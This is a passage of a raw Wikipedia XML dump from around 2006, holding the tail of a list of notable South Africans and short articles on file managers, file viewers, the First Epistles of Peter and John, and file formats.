*[[Frederik Willem de Klerk]], 9th and last State President of South Africa and joint [[Nobel Peace Prize]] winner (1936 - )
*[[Christiaan De Wet|Christiaan Rudolph de Wet]], Boer general and acting President of the Orange Free State
*[[Nicolaas Johannes Diederichs]], 4th State President of South Africa(1903 - 1978)
*[[Jacobus Johannes Fouché]], 3rd State President of South Africa(1898 - 1980)
*[[James Barry Munnik Hertzog]], Boer general and 3rd Prime Minister of South Africa (1866 - 1942)
*[[Josias Hoffman]], 1st President of the Orange Free State
*[[Petrus Jacobus Joubert]], Boer general and member of the [[Troika]] in the South African Republic
*[[Paul Kruger]], member of the Troika, 5th and last President of [[South African Republic]] (1825 - 1904)
*[[Daniel François Malan]], 5th Prime Minister of South Africa and is responsible for laying the groundwork for Apartheid (1874 - 1959)
*[[Nelson Mandela]], 1st President of South Africa and joint [[Nobel Peace Prize]] winner (1918 - )
*[[Thabo Mbeki]], 2nd and current President of South Africa (1942 - )
*[[Jozua François Naudé]], 2nd State President of South Africa
*[[Marthinus Wessel Pretorius]], 3rd President of the Orange Free State, 1st and 3rd President of the [[South African Republic]] (1819 - 1901)
*[[Francis William Reitz]], 5th President of the Orange Free State (1844 - 1934)
*[[Jan Smuts]], Boer general, British field marshal, 2nd and 4th Prime Minister of South Africa (1870 - 1950)
*[[Johannes Gerhardus Strijdom|Johannes Strijdom]], 6th Prime Minister of South Africa (1893 - 1958)
*[[Martinus Theunis Steyn]], 6th and last President of the Orange Free State (1857 - 1916)
*[[Charles Robberts Swart]], last Governor-General of the Union of South Africa and the 1st State President of the Republic of South Africa (1894 - 1982)
*[[Hendrik Frensch Verwoerd]], 7th Prime Minister of South Africa and primary architect of [[Apartheid]] (1901 - 1966)
*[[Marais Viljoen]], 5th and 7th State President of South Africa (1915 - )
*[[B.J. Vorster|Balthazar Johannes Vorster]], 8th Prime Minister and 6th State President of South Africa (1915 - 1983)

===Royalty===
*[[Goodwill Zwelethini kaBhekuzulu]], 8th and current king of the [[Zulu]] nation (1948 - )
*[[Mangosuthu Buthelezi]], politician and a Zulu prince (1928 - )
*[[Dinizulu|Dinizulu kaCetshwayo]], 5th Zulu king (1868 - 1913)
*[[Solomon kaDinizulu]], 6th Zulu king (1891 - 1933)
*[[Usibepu|uZibhebhu kaMaphitha]], Zulu prince and chief (1841 - 1904)
*[[Khetoane Modjadji]], Balobedu's 3th Rain Queen (1869 - 1959)
*[[Makoma Modjadji]], Balobedu's 4th Rain Queen (1905 - 1980)
*[[Mokope Modjadji]], Balobedu's 5th Rain Queen (1936 - 2001)
*[[Makobo Modjadji]], Balobedu's 6th Rain Queen (1978 - 2005)
*[[Mpande]], 3rd Zulu king and half-brother of Shaka (1798 - 1872)
*[[Cetshwayo|Cetshwayo kaMpande]], 4th Zulu king (1826 - 1884)
*[[Dingane|Dingane kaSenzangakhona]], 2nd Zulu king and half-brother of Shaka (1795 - 1840)
*[[Shaka]], founder of the [[Zulu]] nation (1787 - 1828)
*[[Cyprian Bhekuzulu kaSolomon]], 7th Zulu king (1924 - 1968)

==Prelates==
*[[Rev S.J. du Toit|Stephanus Jacobus du Toit]], cleric, pioneer of the recognition of the Afrikaans language and one of the founder members of the [[Genootskap vir Regte Afrikaners]] (1847 - 1911)
*[[Albert Luthuli]], cleric, politician and 1960 [[Nobel Peace Prize]] winner (&amp;dagger; 1967)
*[[Charlotte Maxeke]], religious leader and politicial activist (1874 - 1939)
*[[Christiaan Frederick Beyers Naudé|Beyers Naude]], cleric and anti-apartheid activist (1915 - 2004)
*[[Desmond Tutu]], cleric and [[Nobel Peace Prize]] winner

==Sport==
===Athletics===
*[[Okkert Brits]], athlete (1973 - )
*[[Zola Budd]], athlete (1966 - )
*[[Bruce Fordyce]], ultra-marathon runner
*[[Jacques Freitag]], high jumper (1982 - )

===Boxer===
*[[&quot;Baby&quot; Jakes Matlala]], boxer and junior flyweight champion
*[[Mzukisi Sikali]], boxer (1971 - 2005)

===Cricket===
*[[Shafiek Abrahams]], cricketer (1968 - )
*[[Paul Adams (cricketer)|Paul Adams]], bowler (1977 - )
*[[Adam Bacher]], right-handed batsman (1973 - )
*[[Ali Bacher]], cricket administrator (1942 - )
*[[Eddie Barlow|Edgar John Barlow]], cricketer (1940 - 2005)
*[[Nicky Boje]], all-rounder (1973 - )
*[[Tertius Bosch]], cricketer (1966 - 2000)
*[[Johan Botha]], cricketer (1982 - )
*[[Mark Boucher]], cricketer (1976 - )
*[[David Callaghan]], cricketer (1965 - )
*[[Jimmy Cook]], cricketer (1953 - )
*[[Hansie Cronje]], Protea captain, cricketer (1969 - 2002)
*[[Daryll Cullinan]], specialist batsman (1967 - )
*[[Basil D'Oliveira]], cricketer (1931 - )
*[[Alan Dawson (cricketer)|Alan Dawson]], seam bowler (1969 - )
*[[Abraham de Villiers]], cricketer (1984 - )
*[[Fanie de Villiers]], fast medium bowler (1964 - )
*[[Matthew Dennington]], cricketer (1982 - )
*[[Boeta Dippenaar]], specialist batsman (1977 - )
*[[Allan Donald]], fast bowler (1966 - )
*[[Jean-Paul Duminy]], cricketer (1984 - )
*[[Clive Eksteen]], cricketer (1966 - )
*[[Steve Elworthy]], cricketer (1965 - )
*[[Herschelle Gibbs]], specialist batsman (1974 - )
*[[Tony Greig]], cricketer and commentator (1946 - )
*[[Andrew Hall]], cricketer (1975 - )
*[[Nantie Hayward]], cricketer (1977 - )
*[[Claude Henderson]], cricketer (1972 - )
*[[Omar Henry]], cricketer (1952 - )
*[[Andrew Hudson]], cricketer (1952 - )
*[[Martin van Jaarsveld]], specialist middle-order batsman (1974 - )
*[[Steven Jack]], cricketer (1970 - )
*[[Jacques Kallis]], all-rounder (1975 - )
*[[Chad Keegan]], cricketer (1979 - )
*[[Justin Kemp]], cricketer (1977 - )
*[[Jon Kent]], cricketer (1979 - )
*[[Gary Kirsten]], opening batsman (1967 - )
*[[Peter Kirsten]], cricketer (1955 - )
*[[Lance Klusener]], all-rounder (1971 - )
*[[Garnett Kruger]], cricketer (1977 - )
*[[Adrian Kuiper]], cricketer (1959 - )
*[[Charl Langeveldt]], cricketer (1974 - )
*[[Gerhardus Liebenberg]], cricketer (1972 - )
*[[Allan Lamb]], cricketer (1954 - )
*[[Craig Matthews]], cricketer (1965 - )
*[[Neil McKenzie]], cricketer (1975 - )
*[[Brian McMillan]], cricketer (1963 - )
*[[Albie Morkel]], cricketer (1981 - )
*[[Victor Mpitsang]], cricketer (1980 - )
*[[Andre Nel]], fast bowler (1977 - )
*[[Makhaya Ntini]], fast bowler (1977 - )
*[[Justin Ontong]], cricketer (1980 - )
*[[Robin Peterson]], spin bowler (1979 - )
*[[Kevin Pietersen]], cricketer (1980 - )
*[[Shaun Pollock]], Protea captain, fast-medium bowler (1973 - )
*[[Nic Pothas]], cricketer (1973 - )
*[[Ashwell Prince]], cricketer (1977 - )
*[[Meyrick Pringle]], cricketer (1966 - )
*[[Andrew Puttick]], cricketer (1980 - )
*[[Jonty Rhodes]], cricketer (1969 - )
*[[Clive Rice]], all-rounder (1949 - )
*[[David Richardson]], cricketer (1959 - )
*[[Jacques Rudolph]], cricketer (1981 - )
*[[Mark Rushmere]], cricketer (1965 - )
*[[Brett Schultz]], cricketer (1970 - )
*[[Graeme Smith]], Protea captain, cricketer (1981 - )
*[[Greg Smith (cricketer)|Greg Smith]], cricketer (1971 - )
*[[Richard Snell]], cricketer (1968 - )
*[[Errol Stewart]], lawyer, cricketer (1969 - )
*[[Dale Steyn]], cricketer (1983 - )
*[[Rudi Steyn]], cricketer (1967 - )
*[[Andrew Strauss]], cricketer (1977 - )
*[[Pieter Strydom]], cricketer (1969 - )
*[[Pat Symcox]], cricketer (1960 - )
*[[Roger Telemachus]], cricketer (1973 - )
*[[David Terbrugge]], cricketer (1977 - )
*[[Kepler Wessels]], South African captain, all-rounder (1957 - )
*[[Henry Williams (cricketer)|Henry Williams]], cricketer (1967 - )
*[[Charl Willoughby]], cricketer (1974 - )
*[[Mandy Yachad]], cricketer (1960 - )
*[[Monde Zondeki]], cricketer (1982 - )

===Football (Rugby Union)===
*[[Bakkies Botha]], rugby player (1979 - )
*[[Naas Botha]], rugby player and TV presenter (1958 - )
*[[Schalk Burger]], rugby player (1983 - )
*[[Danie Craven]], rugby player and administrator (1910 - 1994)
*[[Thinus Delport]], rugby player (1975 - )
*[[Jean de Villiers]], rugby player (1981 - )
*[[Frik du Preez]], rugby player (1935 - )
*[[Os du Randt]], rugby player (1972 - )
*[[Bryan Habana]], rugby player (1983 - )
*[[Marius Joubert]], rugby player (1979 - )
*[[Piet Malan]], rugby player (1919 - )
*[[Nick Mallett]], rugby coach (1956 - )
*[[Victor Matfield]], rugby player (1977 - )
*[[Percy Montgomery]], rugby player (1974 - )
*[[Breyton Paulse]], rugby player (1976 - )
*[[Francois Pienaar]], former [[South Africa national rugby union team|Springbok]] rugby captain (1967 - )
*[[Paul Roos (rugby player)|Paul Roos]], captain of first Springbok rugby team( - )
*[[Brent Russell]], rugby player (1980 - )
*[[Bobby Skinstad]], rugby player (1976 - )
*[[John Smit]], rugby player (1978 - )
*[[Rudolph Straeuli]], rugby coach (1963 - )
*[[Joel Stransky]], rugby player and TV presenter (1967 - )
*[[Gary Teichmann]], rugby player (1967 - )
*[[Joost van der Westhuizen]], rugby player (1971 - )
*[[Jaco van der Westhuyzen]], rugby player (1978 - )
*[[Fritz van Heerden]], rugby player (1970 - )
*[[Joe van Niekerk]], rugby player (1980 - )
*[[Jake White]], current Springboks rugby coach (1963 - )
*[[Chester Williams]], rugby player and coach (1970 - )
*[[Peter Jansen]], rugby player and administrator (1958 - )

===Football (Soccer)===
*[[Shaun Bartlett]], soccer player (1972 - )
*[[Doctor Khumalo]], soccer player
*[[Benni McCarthy]], soccer player (1977 - )
*[[Lucas Radebe]], former [[South Africa national football team|Bafana Bafana]] soccer captain
*[[Jomo Sono]], soccer coach

===Golf===
*[[Ernie Els]], golfer (1969 - )
*[[Retief Goosen]], golfer (1969 - )
*[[Gary Player]], golfer (1936 - )
*[[Sewsunker &quot;Papwa&quot; Sewgolum]], golfer

===Motorsport===
*[[Jody Scheckter]], [[Formula One]] world champion (1950 - )

===Swimming===
*[[Natalie du Toit]], disabled swimmer
*[[Penny Heyns]], swimmer

===Tennis===
*[[Kevin Curren]], tennis player (1958 - )
*[[Cliff Drysdale]], tennis player and television commentator (1941 - )
*[[Johan Kriek]], tennis player (1958 - )

==Writers==
'''See:''' [[List of South African writers]]

==Other==
*[[Denise Darvall]] ? donor of first human [[heart transplant]]
*[[Nkosi Johnson]], child who died of [[HIV]]/[[AIDS]] (1989 - 2001)
*[[Hector Pieterson]], young boy whose death became a symbol of the [[Soweto riots]] (1964 - 1976)
*[[Mrs. Ples]], [[homonid]] [[fossil]] (born circa 2.6 to 2.8 million years ago)
*[[Rosenkowitz sextuplets]], first known set of sextuplets to survive their infancy (1974 - )
*[[Louis Washkansky]] ? recipient of first human [[heart transplant]]

==Ranked lists==
Every so often in the history of South Africa lists of notable people are created and ranked according to some criteria. Such as:
*[[SABC3's Great South Africans]] compiled by the [[SABC]] in 2004

==See also==
*[[List of people by nationality]]
*[[List of South African politicians]]

[[Category:Lists of people by nationality|South Africans]]
[[Category:South African people]]
[[Category:South Africa-related lists|South Africans]]

[[fr:100 Greatest South Africans]]
[[ja:南アフリカ人の一覧]]</text>
    </revision>
  </page>
  <page>
    <title>File manager</title>
    <id>11382</id>
    <revision>
      <id>38155061</id>
      <timestamp>2006-02-04T15:43:24Z</timestamp>
      <contributor>
        <ip>213.58.30.114</ip>
      </contributor>
      <text xml:space="preserve">A '''file manager''' is a [[computer program]] that provides a [[user interface]] to work with [[file system]]s. They are very useful for speeding up interaction with files. The most common operations on files are create, open, edit, [[file viewer|view]], [[computer printer|print]], [[streaming media|play]], rename, move, [[file copying|copy]], [[file deletion|delete]], attributes, properties, search/find, and permissions.

Typically files are displayed in a [[hierarchy]]. File managers may contain features inherited from [[web browser]]s, including forward and back navigational buttons.

Some browsers may also provide [[computer network|network]] connectivity, e.g. via [[File transfer protocol|FTP]], [[Network File System|NFS]] or [[Samba software|Samba]].

==See also==
*[[Navigational file manager]]
*[[Spatial file manager]]
*[[Orthodox File Manager]]
*[[List of file managers]]
*[[Comparison of file managers]]

{{software-stub}}
[[Category:File managers]]
[[de:Dateimanager]]
[[es:Gestor de archivos]]
[[fr:Gestionnaire de fichiers]]
[[pl:Mened&amp;#380;er plik&amp;#243;w]]
[[ru:Файловый менеджер]]
[[sv:Filhanterare]]</text>
    </revision>
  </page>
  <page>
    <title>FM</title>
    <id>11384</id>
    <revision>
      <id>15909131</id>
      <timestamp>2005-03-13T18:20:26Z</timestamp>
      <contributor>
        <username>Georgia guy</username>
        <id>161456</id>
      </contributor>
      <comment>All of the links that point to this capitalization format appear to be frequency modulation. Please do not revert without checking to see for any counter-examples.</comment>
      <text xml:space="preserve">#REDIRECT [[Frequency modulation]]</text>
    </revision>
  </page>
  <page>
    <title>File viewer</title>
    <id>11385</id>
    <revision>
      <id>39388338</id>
      <timestamp>2006-02-12T21:10:33Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] clean up</comment>
      <text xml:space="preserve">A '''file viewer''' is a piece of [[computer software]] that displays the data stored in a [[computer file]] in a human-friendly form. The file contents are displayed on the [[display device|screen]], or they may be [[computer printer|printed]]. Also, they may be read aloud using [[speech synthesis]]. 

File viewers do not edit files, still it is common for them to be able to save data in a different [[file format]], or to copy information from the viewed file to [[clipboard]].

File viewers have to have sufficient knowledge about the [[file format|format]] of the file to be viewed. Even [[plain text]] files are not so simple &amp;mdash; file viewers may have to handle different [[codepage]]s and [[newline]] styles.

The simplest file viewers are [[filter (Unix)|filter]]s that translate binary files into plain text (one example [[antiword]]). However, in this way some information may be lost. [[Disassembler]]s also fall in this category.

Another common type of file viewer is picture viewer that can display [[graphics file format|picture files of various formats]]. Common features here are [[thumbnail]] preview and zooming.

==Proprietary viewers==
For more complex file formats, file viewers are usually provided by the same companies that make editing software that use these formats (viewers may be distributed free of charge, while editors have to be bought). For some complex file formats, third parties develop viewers, e.&amp;nbsp;g. [http://www.steelray.com] for MS Project.

A file viewer is a limited-functionality software in a sense that it does not have a capability to create a file, or modify the content of an existing one. Instead, it is used only to display or print the content.

The primary reason behind this missing functionality is due to marketing considerations. For example, a popular software program, [[Adobe Acrobat]], can be used to create a content for most computer platforms, under various operating systems. To ensure that people can access the documents created with Adobe Acrobat the software publisher created a viewer software, the [[Acrobat Reader]], and made it available for free. This viewer software ensures that people can create content that is readable on all supported platform, free of charge, thus making it a more attractive solution.

There are many products that can qualify as a file viewer: [[Microsoft Word]] or [[Microsoft PowerPoint]] viewer are additional examples. In a sense, a [[web browser]] is a type of file viewer, which translates, or renders, the [[HTML]] markups. Although HTML is plain text, viewing an HTML file in a browser or in a text editor can produce significantly different result.

Although web browser are arguably the best file viewer, since they support many graphic, multimedia and document formats, they are still lacking the output quality and the performance of today's leading software packages such as Microsoft PowerPoint or Adobe Acrobat, so creating and using alternative publishing systems and accompanying file viewers still make a lot of business sense.

==Streaming media==
There also types of data that are not intended for static display &amp;mdash; they have the [[time]] dimension. Viewers for such formats are named players. But the essence is the same &amp;mdash; presenting file contents in human-friendly form (i.e. displaying video on the screen as intended or playing sound through loudspeakers). And the same problem of different file formats is present.

==See also==
*[[Document viewer]]
*[[Electronic document]]
*[[Image viewer]]
*[[Media player]]
*[[Web browser]]


[[de:Dateibetrachter]]</text>
    </revision>
  </page>
  <page>
    <title>1st Timothy</title>
    <id>11386</id>
    <revision>
      <id>15909133</id>
      <timestamp>2005-04-17T13:24:11Z</timestamp>
      <contributor>
        <username>Notcarlos</username>
        <id>152211</id>
      </contributor>
      <comment>Merge complete; redirect in progress.</comment>
      <text xml:space="preserve">#REDIRECT [[Pastoral Epistles]]</text>
    </revision>
  </page>
  <page>
    <title>First Epistle of Peter</title>
    <id>11387</id>
    <revision>
      <id>42049240</id>
      <timestamp>2006-03-03T13:14:20Z</timestamp>
      <contributor>
        <ip>58.91.157.144</ip>
      </contributor>
      <comment>+ja</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
In [[Christianity]], the '''''[http://www.sacred-texts.com/bib/kjv/co1.htm First Epistle of Peter]''''' is a book of the [[New Testament]]. Doubt has been cast on the ''[[Second Epistle of Peter]]'' since early times, but this ''First Epistle'' was accepted with less difficulty into the [[Biblical canon]]. 
==Authorship and date==
author identifies himself in the opening verse as &quot;Peter, an apostle of Jesus&quot;, but modern scholars are skeptical that the [[apostle Peter|apostle Simon Peter]], the fisherman on the [[Sea of Galilee]], actually wrote it, because of the urbane cultured style of the [[Greek language|Greek]] and the lack of any personal detail suggesting contact with the historical Jesus of Nazareth. It contains about thirty-five references to the [[Old Testament]], all of which, however, come from the [[Septuagint]] translation, an inconceivable source for historical Peter the apostle. The Septuagint was a Greek translation created at [[Alexandria]] for the use of those Jews who could not easily read the Hebrew and Aramaic of the [[Tanakh]]. The historical Simon Peter in Galilee would not have heard Scripture in this form.  Peter's own amanuensis was the evangelist [[Mark the Evangelist|Mark]], according to [[Clement of Alexandria]] and other early Christian writers.

One theory is that it was written by the [[Silas|Silvanus]] who is mentioned towards the end of the epistle:  &quot;By Silvanus, our faithful brother, as I account him, I have written unto you briefly&quot; (5:12). In the following verse the author includes greetings from &quot;she that is in Babylon, elect together with you,&quot; taken for the church &quot;in Babylon&quot;, which may be an early use of this Christian title for [[Rome]], familiar from the [[Apocalypse of John]]. &quot;There is no evidence that Rome was called Babylon by the Christians until the Book of Revelation was published, i.e. circa 90-96 AD,&quot; say the editors of ''The International Standard Bible Encyclopedia,'' who conclude, however, that [[Babylon]] on the Euphrates was intended.

Some scholars reject both Peter and Silvanus as authors, and date its composition during the reign of the emperor [[Domitian]] (AD 81&amp;ndash;96), from its reference to [[persecution of Christians]], which had not occurred until the persecution under [[Nero]], in which Peter was martyred himself. 

If Silvanus himself wrote this work, then it could have been written at a much later time; yet both bishop [[Polycarp]] (Phil 1:3; 8:1; 10:2), who was martyred in 156, and [[Papias]] allude to this letter, so it must have been written before the mid-2nd century. Additionally [[1 Clement]] 49:5 appears to be quoting 1 Peter 4:8 which would date it during the 1st century. Though it is also cited by [[Irenaeus]] and [[Tertullian]] in the West, the ''First Epistle of Peter'' is missing from the [[Muratorian fragment|Muratorian Canon]] of ca. AD 170. The obvious inference is that it was not yet being read in the Western churches. This would have been a curious omission if ''1 Peter'' were available, for 1 Peter, the [[Epistles of Clement|First Epistle of Clement]] and the ''[[Shepherd of Hermas]]'' are the three writings that most clearly place the bishops of Rome in the position of instructing the other churches.

==Audience==
This [[epistle]] is addressed to &quot;the strangers scattered abroad&quot;, though it otherwise appears to be addressed to Gentiles rather than to the [[Jew]]s of the [[Diaspora]]. Five of the provinces of Asia Minor are listed. The author counsels (1) to steadfastness and perseverance under persecution (1&amp;ndash;2:10); (2) to the practical duties of a holy life (2:11&amp;ndash;3:13); (3) he adduces the example of Christ and other motives to patience and holiness (3:14&amp;ndash;4:19); and (4) concludes with counsels to pastors and people (chap. 5).

The Epistle takes pains to align itself with Paul. Its object is to confirm its readers in the [[Pauline Christianity|Pauline doctrine]]s they had already been taught.

==The &quot;Harrowing of Hell&quot;==
The Epistle contains the remarkable assertion &quot;For unto this end was the gospel preached even to the dead, that they might be judged indeed according to men in the flesh, but live according to God in the spirit&quot; (4:6). This passage, which has no support or parallel anywhere else in the New Testament, occasioned the later interpolation into the [[Apostles' Creed]], &quot;He descended into Hell&quot;, which was not in any of the early versions quoted by [[Tertullian]], and which eventually gave rise to the [[Christian mythology|Christian myth]] of the &quot;[[Harrowing of Hell]]&quot;, which flowered in elaborated anecdotal medieval imagery.

==External links==
Online translations of the [[First Epistle of Peter]]:
* [http://www.earlychristianwritings.com/1peter.html Early Christian writings:] 1 Peter
* {{Biblegateway|1|Peter}}


Related articles:
*[http://www.studylight.org/enc/isb/view.cgi?number=T6839 ''The International Standard Bible Encyclopedia'']: 1 Peter
*[http://www.ccel.org/e/easton/ebd/ebd/T0002900.html#T0002912 ''Easton's Bible Dictionary'' 1897:] First Epistle of Peter

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle of James|James]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[Second Epistle of Peter|2 Peter]]
|}
&lt;/center&gt;

[[Category:New Testament books|Peter 1]]

[[de:Erster Petrusbrief]]
[[es:Primera Epístola de Pedro]]
[[fi:Ensimmäinen Pietarin kirje]]
[[fr:Première épître de Pierre]]
[[id:Surat Petrus yang Pertama]]
[[ja:ペトロの手紙一]]
[[jv:I Petrus]]
[[ko:베드로의 첫째 편지]]
[[nl:Eerste brief van Petrus]]
[[pt:Primeira Epístola de Pedro]]
[[sv:Första Petrusbrevet]]
[[zh:彼得前書]]</text>
    </revision>
  </page>
  <page>
    <title>First Epistle of John</title>
    <id>11388</id>
    <revision>
      <id>42048858</id>
      <timestamp>2006-03-03T13:10:28Z</timestamp>
      <contributor>
        <ip>58.91.157.144</ip>
      </contributor>
      <comment>+ja</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
The '''First Epistle of John''' is a book of the [[Bible]] [[New Testament]].

The fourth of the catholic or &quot;general&quot; epistles. It was traditionally held to have been written by [[John the Evangelist]],  and probably also at [[Ephesus]], and when the writer was in advanced age.

The Epistle's content, language and conceptual style is an indication that a common authorship existed between this letter, the two other letters attributed to the Apostle John, as well as the [[Gospel of John]]. Whether the author was the Apostle John himself, someone who wrote under his name and spoke &quot;for him&quot;, or whether a body of authors contributed to the writing of all four Johannine texts is an open question.

The author wrote the Epistle so that &quot;you who believe in the name of the [[Son of God]]... may know that you have [[eternal life]].&quot; (5.13) It appears as though the author was concerned about [[heretical]] teachers that had been influencing [[churches]] under his care. Such teachers were considered [[antichrist|Antichrists]] (2.18-19) who had once been church leaders but whose teaching became [[heterodox]]. It appears that these teachers taught that Christ was a Spirit being without a body (4.2), that his death on the cross was not as an [[atonement]] for sins (1.7) and that they were no longer able to sin (1.8-10).

The purpose of
the apostle (1:1-4) is to declare the Word of Life to those to
whom he writes, in order that they might be united in fellowship
with the Father and his Son Jesus Christ. He shows that the
means of union with God are, (1) on the part of Christ, his
atoning work (1:7; 2:2; 3:5; 4:10, 14; 5:11, 12) and his
advocacy (2:1); and (2), on the part of man, holiness (1:6),
obedience (2:3), purity (3:3), faith (3:23; 4:3; 5:5), and love
(2:7, 8; 3:14; 4:7; 5:1).

==Comma Johanneum==
One of the most controversial verses of the bible is the [[Comma Johanneum]], verses 5:7 through 5:8. They do not appear in any version of the text prior to the sixteenth century, but do appear in the [[King James Bible]]. This is sometimes used as evidence to counter the [[King-James-Only Movement]].

==External links==
Online translations of the [[First Epistle of John]]:
* {{biblegateway|1|John}}

Related article:
* [http://www.plymouthbrethren.org/passage.asp 1 John from the Biblical Resource Database]



----
{{eastons}}

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Second Epistle of Peter|2 Peter]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[Second Epistle of John|2 John]]
|}
&lt;/center&gt;

[[Category:New Testament books|John 1]]

[[de:1. Brief des Johannes]]
[[fr:Première épître de Jean]]
[[id:Surat Yohanes yang Pertama]]
[[ja:ヨハネの手紙一]]
[[jv:I Yohanes]]
[[ko:요한의 첫째 편지]]
[[nl:Zendbrieven van Johannes]]
[[pl:1 List Jana]]
[[pt:Primeira Epístola de João]]
[[fi:Ensimmäinen Johanneksen kirje]]
[[sv:Första Johannesbrevet]]
[[zh:約翰壹書]]</text>
    </revision>
  </page>
  <page>
    <title>File format</title>
    <id>11389</id>
    <revision>
      <id>42044085</id>
      <timestamp>2006-03-03T12:13:23Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">A '''file format''' is a particular way to encode information for storage in a [[computer file]].

Since a [[disk drive]], or indeed any [[computer storage]], can store only [[bit]]s, the computer must have some way of converting [[information]] to 0s and 1s and vice-versa. There are different kinds of formats for different kinds of information. However, within any format type e.g. [[word processor]] documents, there will typically be several different - and sometimes competing - formats.

== Generality ==
Some file formats are designed to store very particular sorts of data: the [[JPEG]] format, for example, is designed only to store static [[image]]s. Other file formats, however, are designed for storage of several different types of data: the [[GIF]] format supports storage of both still images and simple animations, and the [[QuickTime]] format can act as a container for many different types of [[multimedia]]. A [[text file]] is simply one that stores any text, in a format such as [[ASCII]] or [[Unicode]], with few if any [[control character]]s. Some file formats, such as [[HTML]], or the [[source code]] of some particular programming language, are in fact also text files, but adhere to more specific rules which allow them to be used for specific purposes.

It is sometimes possible to cause a program to read a file encoded in one format as if it were encoded in another format.  For example, one can play a [[Microsoft Word]] document as if it were a song by using a music-playing program that deals in &quot;headerless&quot; audio files.  The result does not sound very musical, however. This is so because a sensible arrangement of [[bit]]s in one format is almost always nonsensical in another.

== Specifications ==
Many file formats, including some of the most well-known file formats, have a published [[specification]] document (often with a [[reference implementation]]) that describes exactly how the data is to be encoded, and which can be used to determine whether or not a particular [[computer program|program]] treats a particular file format correctly. There are, however, two reasons why this is not always the case. First, some file format developers view their specification documents as [[trade secret]]s, and therefore do not release them to the public. A prominent example of this exists in several formats used by the [[Microsoft Office]] suite of applications. Second, some file format developers never spend time writing a separate specification document; rather, the format is defined only implicitly, through the program(s) that manipulate data in the format.

Note that using file formats without a publicly available specification can be costly. Learning how the format works will require either [[reverse-engineering]] it from a reference implementation or acquiring the specification document for a fee from the format developers. This second approach is possible only when there ''is'' a specification document, and typically requires the signing of a [[non-disclosure agreement]]. Both strategies require significant time, money, or both. Therefore, as a general rule, file formats with publicly available specifications are supported by a large number of programs, while non-public formats are supported by only a few programs.

[[Patent]] law, rather than [[copyright]], is more often used to restrict usage of a file format.  Although patents for file formats are not directly permitted under US law, some formats require the encoding of data with patented [[algorithms]]. For example, the GIF file format requires the use of a patented algorithm, and although initially the patent owner did not enforce it, they later began collecting fees for use of the algorithm. This has resulted in a significant decrease in the use of [[GIF]]s, and is partly responsible for the development of the alternative [[PNG]] format. However, the patent expired in the US in mid-[[2003]], worldwide in mid-[[2004]]; algorithms are themselves not currently patentable under European law.

==Identifying the type of a file==
Since files are seen by programs as streams of data, a method is required to determine the format of a particular file within the [[filesystem]]&amp;mdash;an example of [[Metadata (computing)|metadata]]. Different [[operating system]]s have traditionally taken different approaches to this problem, with each approach having its own advantages and disadvantages.

Of course, most modern operating systems, and individual applications, need to use all of these approaches to process various files, at least to be able to read 'foreign' file formats, if not work with them completely.

===Filename extension===
One popular method in use by several operating systems, including [[CP/M]], [[DOS]], and [[Microsoft Windows|Windows]], is to determine the format of a file based on the section of its name following the final period.  This portion of the filename is known as the [[filename extension]].  For example, HTML documents are identified by names that end with &lt;tt&gt;.html&lt;/tt&gt; (or &lt;tt&gt;.htm&lt;/tt&gt; on older systems), and GIF images by &lt;tt&gt;.gif&lt;/tt&gt;.  In the original [[File Allocation Table|FAT]] filesystem, filenames were limited to an eight-character identifier and a three-character extension, which is known as [[8.3 (computing)|8-dot-3]].  Many formats thus still use three-character extensions, even though modern operating systems and application programs no longer have this limitation.  Since there is no standard list of extensions, more than one format can use the same extension, which can confuse the operating system and consequently users.

One advantage of this approach is that the system can easily be tricked into treating a file as a different format simply by renaming it&amp;mdash;an HTML file can, for instance, be easily treated as plain text by renaming it from &lt;tt&gt;filename.html&lt;/tt&gt; to &lt;tt&gt;filename.txt&lt;/tt&gt;.  Although this strategy was useful to expert users who could easily understand and manipulate this information, it was frequently confusing to less technical users, who might accidentally make a file unusable (or 'lose' it) by renaming it incorrectly. This led more recent [[operating system shell]]s, such as [[Windows 95]] and [[Mac OS X]], to hide the extension when displaying lists of recognized files.  This separates the user from the complete filename, but it makes it more difficult to inadvertently change the filename extension.

===Magic number===
''See [[Magic number (programming)]]''

An alternative method, often associated with [[Unix]] and its derivatives, is to store a &quot;magic number&quot; inside the file itself. Originally, this term was used for a specific set of 2-[[byte]] identifiers at the beginning of a file, but since any undecoded binary sequence can be regarded as a number, any feature of a file format which uniquely distinguishes it can be used for identification. GIF images, for instance, always begin with the [[ASCII]] representation of either &lt;tt&gt;GIF87a&lt;/tt&gt; or &lt;tt&gt;GIF89a&lt;/tt&gt;, depending upon the standard to which they adhere.  Many file types, most especially plain-text files, are harder to spot by this method.  HTML files, for example, might begin with the  string &lt;tt&gt;&amp;lt;html&amp;gt;&lt;/tt&gt; (which is not case sensitive), or an appropriate [[document type definition]] that starts with &lt;tt&gt;&amp;lt;!DOCTYPE&lt;/tt&gt;, or, for [[XHTML]], the [[XML]] identifier which begins with &lt;tt&gt;&amp;lt;?xml&lt;/tt&gt;.  The files could also begin with any random text or several empty lines, but still be usable HTML.

